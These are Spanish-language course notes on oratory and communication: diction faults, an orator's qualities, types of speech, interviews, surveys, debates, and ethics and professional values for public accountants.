En su mayoría, las personas hablan a una velocidad de 120 a 180 palabras por minutos, pero no es posible hacerlo a una velocidad uniforme.

Lo correcto es que la velocidad se ajuste al tipo de sentimientos o pensamientos que el orador trata de transmitir.

La rapidez en el hablar es un obstáculo para mejorar la dicción y corregir sus defectos, pero la lentitud por sí sola no resuelve ni si quiera la claridad.

Hay que hablar lentamente, pero con un ejercicio para frenar el impulso instintivo de correr, para acostumbrarse a utilizar más los músculos de la boca y dominarlos mejor. Para adquirir el hábito de silabear y vocalizar, para que no se pierda una sola palabra en el camino. Pero una vez lograda una más clara vocalización, la velocidad ha de adecuarse al tema, al auditorio y al valor de las ideas que quieran destacarse.

 

 LOS VICIOS DE LA DICCIÓN   AL IGUAL QUE AL CUERPO DESTRUYEN EL LENGUAJE Vicios de la dicción. Por vicios de dicción se entiende toda imperfección grave, toda deformación que impide una correcta pronunciación de palabras,frases u oraciones.

ALGUNOS VICIOS 

El Ceceo. Consiste en pronunciar la “s” como si fuera  “z”  ejs.: zapo por sapo, bazura por basura, dezastre por desastre.

El Seseo. Defecto de pronunciación que consiste en pronunciar la “ce” o la zeta como si fuera “S”.

Siseo. Es la pronunciación repetidamente del sonido inarticulado de S y Ch. Quien escucha esta imperfección experimenta una desagradable sensación de que le estuvieran silbando al oído.     

                                                                                           

 Lambdacismo, lalación o lalaísmo. Es el empleo defectuoso de “la” y “las” en lugar de “le” y “les”, Ejs.: la dijeron, en lugar que le dijeron o las sucedió por les sucedió.

Tautología. Es la repetición inútil de una idea, por varias palabras que no añaden nada al sentido de la expresión. Ej.: subir para arriba, entrar para adentro, etc.

Yeísmo. Es un fenómeno muy extendido en España e Hispanoamérica y predominante en las zonas de Argentina, en su pronunciación de la “Y”, al extremo de que casi la convierte en “ch”, así como la pronunciación de la “elle” como “ye”. Ej.,: Caye en vez de calle, poyo en lugar de pollo.

Vocalización. Es la transformación de una consonante en vocal. Ejs.: Lactancia-laitancia, lección, leicion, perfecto-peifecto.

Leísmo. Es el empleo de la forma “le” del pronombre como única en el acusatorio masculino singular. Ejs.: Aquel libro no te le presto, por no te lo presto.

Las muletillas o estribillos. Entendemos por muletillas, toda voz o frase que una persona repite por hábito vicioso en la conversación. Ejs.: E ee, aaa, este, pues, o sea. Es en suma, cualquier expresión que una persona reitere de forma constante, innecesariamente.

Mascullar. Es una malsana costumbre de hablar en forma poco clara, lo que la gente llama “entre dientes” y que provoca una expresión incomprensible.

Los gazapos. El diccionario Larausse define por gazapo, un disparate y un yerro cometido al hablar o escribir. Ejs.: hayga, por haya, mas mal-por peor, amígdalas-por amígdalas, aruñar, por arañar, semáforo-por semáforo, rompido-por roto.  

 

Cualidades del Orador

Sean cuales fueran las tareas específicas que el orador deba realizar en una disertación y aunque muchas de ellas puedan parecer mecánicas o rutinarias, no puede pasarse por alto la importancia de la posición que ocupa como comunicador social y/o líder de opinión. Por ello, en el orador no sólo se valora la aptitud para el desempeño de las funciones como expositor sino también la idoneidad a través de una serie de cualidades que a nuestro entender debe poseer un orador de éxito y que a continuación presentamos.

1° Cualidades Físicas: Estas cualidades tienen que ver con la apariencia personal del orador, no involucra que sea hermoso o de físico impresionante.

Implica el cumplimiento de una serie de pautas sencillas que le permitan resaltar su personalidad, de tal forma que constituya un conjunto armonioso y estético ante los ojos de los demás.

2 El aseo personal

Es la limpieza, cuidado, compostura y buena disposición de nuestro cuerpo. Ello transmite una agradable impresión a través del sentido visual y olfativo. El acicalamiento en nuestro peinado, maquillaje y perfume permiten un buen acercamiento de los oyentes hacía nosotros. El no bañarse o no cepillarse los dientes, a la larga van produciendo un hedor insoportable o un aliento nada agradable que pondrá una barrera entre nosotros y las personas con las que tratamos. Es recomendable el baño diario, el cambio de ropas con la misma frecuencia, el corte de uñas y de cabello en forma periódica.

3 El vestido

Es la cubierta que nos ponemos en el cuerpo para abrigo o adorno. Involucra el conjunto de piezas que sirven para cubrir nuestro cuerpo, pueden ser formales o informales según la ocasión en la que tengamos que utilizarlo. Constituye la prenda exterior completa de una persona y en el caso de los oradores constituye su uniforme de trabajo; esta vestimenta debe ser la adecuada para cada reunión oratoria debiendo primar los principios de elegancia, limpieza y una correcta combinación de prendas y/o colores. Recordemos que el vestido resalta nuestra personalidad, formalidad y pulcritud.

4 La actitud mental positiva

Es la condición subjetiva de nuestra mente; ésta nos permite tener una actitud mental positiva que nos impulsa a realizar lo anhelado o en su defecto, una actitud mental negativa que sólo apunta a buscar excusas para no realizar lo deseado.

Estas actitudes tienen que ver, principalmente, con nuestros pensamientos ya que nuestras acciones son el reflejo de ellos. Por ello, todo orador debe estar imbuido de actitud mental positiva para realizar sus exposiciones con entusiasmo y mucho optimismo; ello se logra a través de la autosugestión y del correcto uso de las técnicas de respiración y de relajamiento.

5 Gozar de buena salud física

Un orador con dolor de muela, dolor de cabeza o fuerte dolor de vientre, no podrá realizar con eficacia sus exposiciones, el dolor lacerante lo pondrá de mal humor o lo indispondrá para sus tareas. Lo recomendable es que periódicamente se acuda al médico para un chequeo general y evitar desagradables sorpresas. La labor un tanto estresante, conlleva a padecer de una serie de dolencias que al no ser atendidas o al ser mal curadas, pueden convertirse en crónicas y mortales. Se debe combinar una buena dieta con ejercicios matutinos para evitar el sedentarismo y las enfermedades psicosomáticas.

6 Gozar de buena salud psíquica

La mente también se enferma y puede producir lamentables estados de distorsión de la personalidad; paranoia, esquizofrenia y aún, psicopatía. Lógicamente una persona con desbarajustes mentales no podrá realizar a satisfacción su labor como orador, casi siempre tendrá problemas con sus superiores, compañeros de trabajo y más aún, con el público oyente. Una visita al psicólogo o psiquiatra es recomendable, pues a diferencia de las enfermedades físicas estas no se manifiestan pasivamente, sino a través de un accionar desequilibrado que perjudica el buen desempeño del orador.

2° Cualidades Intelectuales

Estas cualidades están relacionadas con la facultad para conocer, comprender y razonar; implican un conjunto de características inherentes que todo orador debe desarrollar y utilizar con eficacia. Estas cualidades propias de la actividad mental, están al alcance de todos y sólo requieren de decisión para aplicarlas.

1 Memoria

El poder recordar nombres, rostros, situaciones y la ubicación exacta de documentos o cosas, constituye un requisito indispensable en la labor del orador, ello le permite evocar con facilidad, información que se necesita en lo inmediato. El llamar a las personas por su nombre, luego de haberlos reconocido, constituye una muestra de especial deferencia hacia el público con el que tratamos. Recordar la ubicación de documentos y cosas, nos permite realizar las labores con mayor rapidez. La memoria se ejercita a través de la observación minuciosa, la retención y la evocación.

2 Imaginación

Consiste en la facultad de reproducir mentalmente objetos ausentes; de crear y combinar imágenes mentales de algo no percibido antes o inexistente. El término imaginación, incluye dos características básicas: la renovación o “reexperimentación” de lo ya vivido (memoria), y la creación de imágenes mentales que antes no existían (imaginación). Los psicólogos distinguen entre imaginación pasiva, que recupera imágenes previamente percibidas por los sentidos y la imaginación activa, constructiva o creativa, mediante la cual la mente produce imágenes de sucesos o de objetos poco o nada relacionados.

  1. Sensibilidad

Es la facultad de sentir física o moralmente los sentimientos de alegría, pena, dolor, compasión y ternura. Es una cualidad propia de los seres humanos, pero no por ello todos los tienen desarrollados en la misma medida. Existen algunos oradores que parecieran insensibles al dolor ajeno, dan la impresión de no interesarles para nada los sentimientos de sus congéneres.

A la larga, estas personas se hacen odiar y son publicamente vilipendiadas. En cambio, un orador que demuestre sensibilidad en su trato y en sus acciones se ganará el cariño y estima de las personas con las que trata.

  1. Iniciativa

Es el ideal que nos mueve a realizar algo por voluntad propia sin que nadie nos lo diga, ordene o motive. Involucra la acción de adelantarse a los demás en hablar u obrar, es una cualidad personal que inclina a las personas a realizar acciones para alcanzar una ventaja competitiva. En la mente de todo orador debe estar presente siempre la frase: «la iniciativa es del interesado», si anhelamos lograr un objetivo, no podemos confiar sólo en la voluntad divina o en la buena voluntad de las personas; sino que, como interesados, debemos intervenir directamente para su concretización.

3° Cualidades Morales

La moral está relacionada a las costumbres y a las normas de conducta de una determinada sociedad. Por extensión, podemos decir que es el conjunto de normas de comportamiento que debe cumplir un orador, para que exista congruencia entre lo que predica y hace, en el ejercicio de su labor profesional.

  • Honradez:

Es una cualidad que involucra un proceder recto y honesto de parte de un orador. Actuar con honestidad significa, no apartarnos de los cánones morales establecidos por la profesión ya que muchas veces suelen presentársenos oportunidades o propuestas nada decentes, que bien podríamos aprovechar en beneficio nuestro. La falta de honradez significa una falta moral hacia nuestra profesión y el desprestigio para nuestra persona.

Un orador que no sea honrado, poco tiempo durará en su trabajo, pues las exigencias de su labor demandan de él, un proceder recto y honesto.

  • Puntualidad

Es la cualidad de hacer las cosas con prontitud, diligencia y a su debido tiempo. Es ser exactos en hacer las cosas a su tiempo y de llegar a los sitios convenidos en la hora establecida. Napoleón Bonaparte solía decir: la hora es la hora… cinco minutos antes de la hora, no es la hora… cinco minutos después de la hora tampoco es la hora. y concluía diciendo: puedo perder una batalla pero nunca un minuto; las batallas se recuperan, el tiempo jamás La puntualidad es en esencia, una cualidad que todo orador debe practicar e interiorizar en su subconsciente.

  • Sinceridad

Es el modo de expresarse libre de fingimiento y mentiras. Involucra hablar con veracidad y sin doblez. En la boca del mentiroso todo se hace dudoso; en cambio, en los labios de una persona sincera, todo es creíble y aceptado con confianza. Un orador debe ser sincero tanto en lo que dice como en lo que hace; existen ocasiones en las que se ve al orador fingiendo, descaradamente, estados de ánimos que no siente para tratar con personas o públicos que no les agrada. Piensa que el fingimiento no se nota, pero es evidente y causa serios problemas en la interrelación con nuestros semejantes.

  • Congruencia

Es la relación que existe entre el pensar y el actuar, relación que muchas veces no es armoniosa, pues a menudo no hacemos lo que predicamos. Un orador puede manifestar en una exposición empresarial, que los cigarrillos son dañinos para la salud y que por eso no debemos fumar, pero al terminar su exposición, compra una cajetilla para fumarlos delante de su sorprendido público.

Todo lo que decimos debe tener su contraparte en la acción, caso contrario corremos el riesgo de caer en la demagogia o cháchara barata.

5 Lealtad

Es la cualidad de ser leal; es decir, convertirse en una persona incapaz de traicionar la confianza depositada en uno, o ser incapaz de engañar a quien le ha brindado su consideración. Se entiende por leal a la persona que pese a los graves problemas que se suscitan, no abandona jamás al compañero, jefe o institución para la que trabaja. Dícese, que la lealtad inspira la realización de acciones nobles, altruistas y hasta de sacrificio. Más que una cualidad, es una virtud que todo orador debe practicar a diario como parte de su comportamiento ético y moral.

Condiciones para una buena comunicación

¿Cómo es una buena comunicación?

La comunicación es una herramienta muy importante con la contamos a la hora de relacionarnos con otras personas. En ámbitos tan distintos como el familiar o el laboral, una buena comunicación puede ser la diferencia entre el éxito y el fracaso. Para un intercambio sano de ideas y pensamientos es necesaria una buena comunicación.

Se trata de un proceso dinámico en el que dos o más personas intercambian mensajes, y en muchas ocasiones es tan importante el mensaje que se quiere transmitir como la forma que elegimos para hacerlo. Además, la comunicación puede ser oral o escrita pero en cualquier caso debe seguir unas pautas para ser de calidad.

Una buena comunicación debe tener una estructura básica que facilite la comprensión a los oyentes. Se deben tratar los temas de forma ordenada, relacionando ideas cuando resulte necesario pero evitando saltos temáticos que puedan dificultar la compresión global.

Características de una buena comunicación:

  1. Claridad Es muy importante que cuando se intenta comunicar algo se haga de manera clara, es decir, que la persona que reciba el mensaje lo pueda captar fácilmente. Que se entiendan las ideas sin que requiera un gran esfuerzo de interpretación por parte del interlocutor.
  1. Concisión Saber la extensión que hay que dedicar a explicar un tema concreto puede ser el punto más importante de una comunicación. Hay que incluir la suficiente información como para resaltar todos los puntos clave, pero no debe ser tanta como para cansar o perder la atención de las otras personas.
  1. Coherencia Una buena comunicación debe tener una estructura básica que facilite la comprensión a los oyentes. Se deben tratar los temas de forma ordenada, relacionando ideas cuando resulte necesario pero evitando saltos temáticos que puedan dificultar la compresión global.
  1. Sencillez En muchas ocasiones la forma más fácil de hacer una comunicación clara y concisa es escogiendo correctamente las palabras y expresiones a utilizar. No es necesario demostrar nuestra cultura, sino que el interlocutor comprenda las ideas fácilmente. Para ello un vocabulario sencillo, aunque riguroso, puede ser la clave.
  1. Naturalidad Una buena comunicación es aquella en la que el comunicador es capaz de transmitir su mensaje de una forma natural, sin artificios ni formas rebuscadas. No se debe notar que una charla ha estado preparada y ensayada con antelación, aunque muchas veces la única forma de lograr tal grado de naturalidad es precisamente ensayando repetidas veces.
  1. Interacción El objetivo número uno de cualquier comunicación es mantener expectante y atento al interlocutor. Para ello, una de las formas más prácticas y útiles es mediante la interacción con él. Hacerle participar de alguna manera, haciendo preguntas, planteando cuestiones varias o dejando que exprese su opinión.
  1. Conocimiento En una buena comunicación es muy importante la forma, pero también el contenido. Puedes tener un don para la comunicación pero es necesario que absolutamente todo lo que se diga sea cierto y riguroso. No hace falta ser un experto en absolutamente todo, pero si se hace una comunicación sobre un tema, se debe conocer a fondo.
  1. Lenguaje no verbal Muchas veces es difícil de controlar, pero el lenguaje no verbal puede ser clave a la hora de transmitir un mensaje de manera eficaz. Puede denotar inseguridad, falta de conocimiento o nervios, pero también puede ser útil para establecer un vínculo con el interlocutor o para demostrar cercanía hacia él.
  1. Unidad Una comunicación de calidad debe tratar los temas como una unidad. Hay que darle un sentido global a la presentación y no hablar de los diferentes temas de forma aislada. Se debe seguir un hilo conductor y relacionar los conceptos entre sí.
  1. Relevancia A nadie le gusta perder el tiempo leyendo un texto o escuchando una presentación sobre un tema por el cual no tiene interés. Hay que conocer a los receptores de nuestro mensaje y adaptarlo para que la información dada sea relevante para ellos.

Es importante seguir una serie de pautas para que los intercambios de comunicación sean eficaces:

  • Que tanto emisor como receptor se esfuercen por entenderse mútuamente, así como tratar de evitar soluciones prefabricadas, es importante incluso reaccionar positivamente ante las contradicciones y utilizar con acierto las sugerencias y oportunidades que se manifiesten.
  • Hay que conocer bien al interlocutor, que quiere, que desea o que necesita es importante. Habrá que contrastar la información que de él disponemos con la realidad, es decir, asegurarnos que efectivamente sus deseos o necesidades son los que a nosotros realmente nos consta que son.
  • El equilibrio entre el lenguaje verbal y no verbal o corporal a menudo resulta difícil de alcanzar, pero una vez alcanzado la sensación de seguridad que sobre el interlocutor produciremos será mucho mayor.

 

CONCEPTO DE DISCURSO.

Proveniente del griego, la palabra discurso implica en el lenguaje cotidiano, dar a conocer un mensaje razonado, en forma masiva y oral.

 

El discurso se contiene en un texto que puede estar escrito y quien lo emite lo lee; o puede ser un discurso espontáneo e improvisado que surge directamente de la mente del hablante y no tiene soporte escrito.

 

CONTENIDO DEL DISCURSO

 

A).- introducción

 

Se ha de tomar bastante importancia a esta parte del discurso. Es la parte donde se trata de explicar a “grosso modo” y entre líneas el tema que vamos a exponer. Se ha de hacer una breve definición del tema, y si lo necesitamos, también habremos de situar en la historia su aparición, sus orígenes como ha ido evolucionando.

 

B).- desarrollo

 

Es la parte del discurso que ha de tener más duración. En esta parte nos adentramos en el tema principal.

 

Por ello es una de las partes también más conflictivas, ya que al ser más largo que el resto, corremos el riesgo de perder la disponibilidad del espectador y su consecuente interés.

 

Para evitar que el factor “desconexión” aparezca, hemos de utilizar todas nuestras armas:

 

Nuestros puntos a describir han de ser brevemente marcados en un principio, haciendo de esta manera que el oyente se realice mentalmente un planning del proceso del discurso.

 

C).- conclusión

 

Es el punto estratégico de un discurso, pues lo que se diga al final de éste serán las últimas palabras que se expresen y quedarán sonando en la memoria del auditorio por un largo tiempo, ya sea de manera acertada o de reflexión. Por ser ésta la parte más importante, hemos de tener especial consideración en:

 

Hacer un recuerdo breve de las etapas recorridas durante todo el discurso

 

Formular los puntos de vista del orador y los méritos que éste dé ante una solución.

 

Si la naturaleza del tema requiere concluir con un reto o un consejo, es valido hacerlo.

 

Usar como broche final una frase vigorosa, una fórmula valiente, una cita elocuente, una pregunta en donde tu oyente piense en la solución, una reflexión, etc.

 

TIPOS DE DISCURSO

Discurso leído. Se redacta por escrito y el orador pronuncia directamente su mensaje. Sus ventajas son:

El orador se concentra en la lectura.

Discurso improvisado.

La improvisación consiste en “realizar” algo que hacemos todos los días sin darnos cuenta, es decir, explicar o exponer un hecho, pensamiento o idea cualquier que conozcamos y vestirlo con las palabras de nuestro léxico habitual.

 

Sus ventajas son:

No tiene estructura real (no se ha de redactar ni memorizar).

El lenguaje que hemos de aplicar es cotidiano, por lo que no nos hace falta el esfuerzo de recurrir a un vocabulario más culto ni tecnicismos.

 

Discurso “extempore”. En realidad se trata de un discurso mixto. Es un procedimiento combinado, pues este tipo está situado entre el leído y el improvisado.

 

Sus ventajas son:

La estructura la realiza el orador con total libertad.

Existe libertad de expresión en cuanto a la información que se vaya a transmitir.

Es válida la utilización de un lenguaje cotidiano o un argot, dependiendo del conocimiento del orador.

 

Discurso narrativo.- Corresponde a los tipos de discursos, en el cual el emisor da a conocer su mensaje en tercera persona, es como si estuviera contando la historia.

 

 Discurso descriptivo.- Aquí se  expone las cualidades, dimensiones del objeto o cosas que se planteen.

 

Discurso expositivo (o explicativo).- No únicamente es la intención de captar la atención, si no que con palabras adecuadas permitir que el oyente puede entender claramente de lo que explica.

 

Discurso argumentativo.- En este discurso se hace uso de fuentes como medio comprobatorios de todo lo que se dice

 

Discurso dialogal.- El o la persona que hace el discurso permite la  interacción con el publico asistente donde da micrófonos o voz para que participen aportando su opinión.

 

CONCEPTO DE ENTREVISTA

 

Se denomina entrevista al encuentro de dos o más personas en las que una de ellas es consultada en lo referente a aspectos personales, laborales, sociales, etc. La entrevista puede ser de índole privada o con un público que es capaz de escuchar las preguntas y respuestas que se van esbozando. Existen distintos tipos de entrevistas según el contexto del que se hable. Así, por ejemplo, se puede hacer referencia a entrevistas periodísticas, de trabajo, médicas, etc. En el proceso de entrevistar a alguien se establece una relación informativa de índole unilateral, mientras que la otra parte solo se limita a hacer las preguntas más pertinentes para la obtención de respuestas que agreguen valor a una audiencia o sean de importancia para la evaluación de una situación.

 

CONCEPTO DE ENCUESTA

Como encuesta se denomina una técnica de recogida de datos para la investigación social. La palabra proviene del francés enquête, que significa ‘investigación’.

 

Como tal, una encuesta está constituida por una serie de preguntas que están dirigidas a una porción representativa de una población, y tiene como finalidad averiguar estados de opinión, actitudes o comportamientos de las personas ante asuntos específicos.

 

La encuesta, en este sentido, es preparada por un investigador que determina cuáles son los métodos más pertinentes para otorgarle rigurosidad y confiabilidad, de modo que los datos obtenidos sean representativos de la población estudiada. Los resultados, por su parte, se extraen siguiendo procedimientos matemáticos de medición estadística.

 

CONCEPTO DE DEBATE

Un debate es una forma de comunicación en que existe una confrontación de opiniones diferentes sobre un tema determinado. El objetivo de un debate es plantear, exponer y conocer diferentes posturas y argumentaciones sobre un tema, eventualmente alcanzando una conclusión. También se utiliza el debate como técnica educativa. Se utiliza la palabra ‘debate’ también para referirse a un tipo de enfrentamiento de ideas. Por ejemplo: ‘Tengo un debate interno entre ir o no ir’. Procede del verbo ‘debatir’. Algunos términos similares son: discusión, tertulia, mesa redonda o disputa verbal.

 

CONCEPTO DE CONFERENCIA

 

Es una exposición que se realiza por una o más personas, sobre un tema cualquiera, generalmente de interés general, ante un público, al que se le permite intervenir mediante preguntas. Si no se permite formular preguntas se trata de un monólogo llamado conferencia fija, o más acertadamente, discurso.

MÓDULO I:

ÉTICA MORAL Y VALORES.

 

LA ÉTICA es un conjunto de conocimientos derivados de la investigación de la conducta humana al tratar de explicar las reglas morales de manera racional, fundamentada, científica y teórica. Es una reflexión sobre la moral.

 

Ética es la reflexión teórica sobre la moral. La ética es la encargada de discutir y fundamentar reflexivamente ese conjunto de principios o normas que constituyen nuestra moral.

 

LA MORAL es el conjunto de reglas que se aplican en la vida cotidiana y todos los ciudadanos las utilizan continuamente. Estas normas guían a cada individuo, orientando sus acciones y sus juicios sobre lo que es moral o inmoral, correcto o incorrecto, bueno o malo.

 

Moral es el conjunto de principios, criterios, normas y valores que dirigen nuestro comportamiento. La moral nos hace actuar de una determinada manera y nos permite saber que debemos de hacer en una situación concreta. Es como una especie de brújula que nos orienta, nos dice cuál es el camino a seguir, dirige nuestras acciones en una determina dirección. La brújula nos indica el camino. En la vida hay que intentar no perder el norte.

 

En un sentido práctico, el propósito de la ética y la moral es muy similar. Ambas son responsables de la construcción de la base que guiará la conducta del hombre, determinando su carácter, su altruismo y sus virtudes, y de enseñar la mejor manera de actuar y comportarse en sociedad.

 

Como conclusión: moral y ética se plantean cuestiones distintas.

 

La moral tiene que ver el nivel práctico de la acción y trata de responder a la pregunta ¿qué debo hacer?;

 

La ética con el nivel teórico de la reflexión y trata de responder a preguntas del tipo ¿qué es la moral? ¿Cómo se aplica la reflexión a la vida cotidiana?

 

CARACTERÍSTICAS DE LA MORAL. La moral es el hecho real que encontramos en todas las sociedades, es un conjunto de normas a saber que se transmiten de generación en generación, evolucionan a lo largo del tiempo y poseen fuertes diferencias con respecto a las normas de otra sociedad y de otra época histórica, estas normas se utilizan para orientar la conducta de los integrantes de esa sociedad.

 

CARACTERÍSTICAS DE LA ÉTICA. Es el hecho real que se da en la mentalidad de algunas personas, es un conjunto de normas a saber, principio y razones que un sujeto ha realizado y establecido como una línea directriz de su propia conducta.

 

La Ética Profesional  se refiere a las actitudes que debemos tener al momento de desempeñarnos en un trabajo como por ejemplo: llegar muy puntual y cumplir con lo que nos ordenen los superiores tal cual como nos lo ordenan. También es un conjunto de normas las cuales debemos respetar.

La Finalidad De La Ética Profesional La ética de una profesión, es el conjunto de normas en términos de los cuales la definimos como buenas y malas. El bien se refiere aquí, a que la profesión constituye una comunidad dirigida al logro de una cierta finalidad.

 

Definición de valor

Características morales que una persona tiene y que se manifiestan en la interacción social, en algunos casos inherentes a la persona, en otros casos susceptibles de ser practicadas. Por ejemplo: la responsabilidad es inherente a la persona, pero también puede ser practicada. La humildad es inherente a la persona, y no puede ser practicada, a menos que se posea ya de forma inherente. El respeto puede no ser inherente a un ser humano, pero se puede practicar.

 

Los valores son aquellas cualidades que se destacan en cada individuo y que, a su vez, le impulsan a actuar de una u otra manera porque forman parte de sus creencias, determinan sus conductas y expresan sus intereses y sentimientos.

 

CLASIFICACIÓN DE LOS VALORES HUMANOS

Se los puede clasificar en grandes categorías como: naturales, económicos, políticos-sociales, éticos-morales y estéticos.

 

Valores naturales.- Se encuentran relacionados con las necesidades básicas de la supervivencia de los seres humanos, entre ellos encontramos: La protección, el afecto, el aire, el agua, el fuego y  lo que se construye el ambiente mediante el cual se desarrolla la vida de los  seres humanos.

 

Valores económicos.- Garantizan la  subsistencia del hombre en el medio donde habita, estos pueden ser los medios de producción, los medios de trabajo, los  bienes materiales, el dinero o fuentes de trabajo  dignos.

 

Valores políticos-Sociales.- Son aquellos  que  contribuyen  a la  convivencia  del  hombre en la   sociedad, entre  esto encontramos la justicia, la paz, la  libertad y la democracia.

 

Valores Éticos-Morales.-  Están relacionados con la dignidad e integridad de los seres humanos, y pueden ser la fidelidad, la honestidad, la franqueza, el amor la responsabilidad.

 

Valores Estéticos.- Tiene por  objeto el estudio de la esencia  y la  percepción de la belleza y se encuentran relacionados con la belleza, la armonía y la coherencia

 

VALORES BÁSICOS DE UN CONTADOR PÚBLICO.
RESPONSABILIDAD: Significa cumplir o ejecutar una acción o trabajo con la mejor eficiencia y prontitud.  Significa confiar o desarrollar una tarea sin necesidad de supervisión continua.  También se involucra en la responsabilidad el hecho de actuar según instrucciones o normativas existentes.

 

RESPETO: Respetar significa darse cuenta de la consideración o deferencia que le debemos a los demás; respetarnos a nosotros mismos y, en consecuencia, exigir de los demás el respeto hacia nosotros.  En el plano laboral se deben respetar las sanas ambiciones de los demás, respetar y obedecer responsablemente las reglas o normas de la oficina o trabajo, respeto a jefes y compañeros de labores, cualquiera sea la posición jerárquica, su condición socioeconómica o el nivel educacional.

 

DISCRECIÓN: Cualidad esencial en toda persona, más aún si ocupa u cargo de confianza; es uno de los requisitos para permanecer en el empleo o ascender a cargos de mayor responsabilidad y confiabilidad.  Discreción significa no divulgar información que se conoce (confidencial o importante) o discernir con asertividad y responsabilidad qué es lo que se puede o debe comunicar, de la manera adecuada, cuándo, a quién, en qué momento y lugar.

 

JUSTICIA Y ECUANIMIDAD:  Es de justicia reconocer y halagar a las personas cada vez que sea necesario o se lo merezca, ya sea por una acción o labor bien desempeñada o acertada, pues hasta las personas más modestas se sienten complacidas cuando se le reconoce sincera sinceramente su desempeñó en forma satisfactoria.  Es agradable saber que en justicia nuestra opinión es escuchada o considerada, aun cuando por razones justificadas no se ponga en práctica.  De justicia es también admitir que otras personas pueden tener la razón o tener mejores ideas que las nuestras.  Debemos ser capaces de aceptar la crítica y evaluar esas opiniones en forma objetiva.

Ecuánime y justo es cuando se entregan tareas y responsabilidades de acuerdo a las capacidades e idoneidad de las personas.

 

SOLIDARIDAD: Tener Gestos de buena disposición hacia las personas en general o hacia compañeros de labores.  Adherirse a una causa o persona por razones morales, creencias o sentimientos.

 

HONESTIDAD: Ser transparente e íntegro, así como consecuente con lo que se piensa y con lo que se actúa.  Honesto es aquél que observa una conducta moral comúnmente aceptable: recto, sincero, intachable, decente, incapaz de engañar, estafar robar.

 

LEALTAD: Guardar secretos comerciales, personales, evitar chismes, evitar criticar actitudes o vidas ajenas; fidelidad hacia alguien mientras actúa correctamente (no confundir con incondicionalidad). Apoyar los esfuerzos de los demás y participar de sus problemas.  No sacar ventaja personal a costa de otra persona; abstenerse de participar y originar rencillas en la oficina.  Lealtad equivale a obrar, vivir y sentir dentro de una ley.

 

TOLERANCIA: Aceptar a los demás seres humanos con sus características individuales.  Actitud de la persona que respeta las opiniones y comportamiento ajenos, aunque no coincidan con los suyos (dentro de lo aceptable y sin cuestionamientos).

 

PULCRITUD: Ser una persona prolija, ordenada, limpia, tanto en su presentación personal como en su actuar personal o laboral; la pulcritud se asocia a lo esmerado, cuidadoso, distinguido y educado.

 

Importancia del contador público en las entidades territoriales  (INVESTIGAR)

El profesional de contaduría en empresas (INVESTIGAR)

Lenguaje. Es un sistema de comunicación estructurado para el que existe un contexto de uso y ciertos principios combinatorios formales. Existen contextos tanto naturales como artificiales.

El lenguaje indica una característica común a los humanos y a otros animales (animales no simbólicos) para expresar sus experiencias y comunicarlas a otros mediante el uso de símbolos, señales y sonidos registrados por los órganos de los sentidos. Los seres humanos desarrollan un lenguaje complejo que se expresa con secuencias sonoras y signos gráficos. Por su parte, los animales desarrollan una comunicación a través de signos sonoros, olfativos y corporales que en muchos casos distan de ser sencillos.

El lenguaje humano se basa en la capacidad de los seres humanos para comunicarse por medio de signos lingüísticos (usualmente secuencias sonoras, pero también gestos y señas, así como signos gráficos). Principalmente, lo hacemos utilizando el signo lingüístico. Aun así, hay diversos tipos de lenguaje. En cuanto a su desarrollo, el lenguaje humano puede estudiarse desde dos puntos de vista complementarios: la ontogenia y la filogenia. La primera analiza el proceso por el cual el ser humano adquiere el lenguaje, mientras que la segunda se encarga de estudiar la evolución histórica de una lengua.2

«Lenguaje: “la facultad del hombre para comunicarse mediante sonidos orales articulados o escritos“; no debe usarse por lengua (sistema de signos orales o escritos y reglas de combinación y oposición entre ellos). Así, podremos hablar de “la lengua de un país“ y no “del lenguaje de un país“; o bien de “las lenguas que se hablan en España“. Así pues, lenguaje es una facultad; lengua, un sistema.»

«Lenguaje: 1. Facultad de expresarse mediante la articulación de sonidos, propia del hombre: El lenguaje humano. 2. Forma de expresión de algunos animales: El lenguaje de las abejas. 3. Cada una de las variedades o modalidades que puede presentar una lengua, particularmente por relación a la cultura de los hablantes, a la situación que se emplea, etc.: El lenguaje culto. El lenguaje coloquial

  1. Conjunto de sonidos articulados con que el hombre manifiesta lo que piensa o siente.
  2. lengua(sistema de comunicación verbal).

3..Manera de expresarse. Lenguaje culto, grosero, sencillo, técnico, forense, vulgar.

  1. Estilo y modo de hablar y escribir de cada persona en particular.
  2. Uso del habla o facultad de hablar.
  3. Conjunto de señales que dan a entender algo. El lenguaje de los ojos, el de las flores.
  4. Conjunto de signos y reglas que permite la comunicación con un ordenador. [DRAE]

Lengua

  1. Órgano muscular situado en la cavidad de la boca de los vertebrados y que sirve para gustación, para deglutir y para modular los sonidos que les son propios.
  2. Sistema de comunicación verbal y casi siempre escrito, propio de una comunidad humana.
  3. Sistema lingüístico cuyos hablantes reconocen modelos de buena expresión. La lengua de Cervantes es oficial en 21 naciones.
  4. Sistema lingüístico considerado en su estructura.
  5. Vocabulario y gramática propios y característicos de una época, de un escritor o de un grupo social. La lengua de Góngora. La lengua gauchesca.[DRAE]

Idioma

  1. Lengua de un pueblo o nación, o común a varios.
  2. Modo particular de hablar de algunos o en algunas ocasiones. En idioma de la corte. En idioma de palacio.

 habla

«Habla: 1. Facultad de hablar: Adquirir, perder, recobrar el habla. 2. Manera de hablar, peculiar de un individuo, región o grupo social: Habla muy bien el español, pero no entiende bien el habla de algunos pueblos de esta zona.»

Función social del lenguaje.

El lenguaje es la capacidad innata que tenemos los seres humanos para expresarnos, interactuar y comunicarnos por medio de signos sonoros, gestuales y/o gráficos. Cumple una función importante en la formación de la personalidad y el desarrollo humano y social, pues en su uso cotidiano aprendemos las normas y los modelos que orientan nuestras formas de pensar, sentir y actuar. Durante esta semana tendrás la oportunidad de reflexionar sobre el uso que haces del lenguaje en diversas situaciones comunicativas orales y escritas, lo que te permitirá revisar y mejorar tu actuación lingüística en distintos contextos.

Diariamente utilizamos el lenguaje con diferentes fines, tales como: • Expresar nuestras emociones y sentimientos, “desahogarnos”, como dicen algunos. • Informar. • Aconsejar, convencer o influir en los otros para que actúen o piensen de una forma determinada. • Jugar con la lengua y expresar nuestra creatividad e imaginación. • Establecer contacto e interactuar con los demás, lo cual nos permite comunicarnos y formarnos. De manera que, aunque la necesidad de interacción y relación se presenta también en el lenguaje animal, el lenguaje humano se diferencia enormemente, en cuanto contribuye con el desarrollo del pensamiento y la formación de la personalidad. La utilización efectiva del lenguaje con diferentes fines o propósitos demanda el desarrollo de actitudes de respeto, honestidad, sinceridad y asertividad. Esta última implica comunicarnos de manera sincera, abierta, clara y directa, logrando expresar lo que queremos, sin agresividad, ni sumisión.

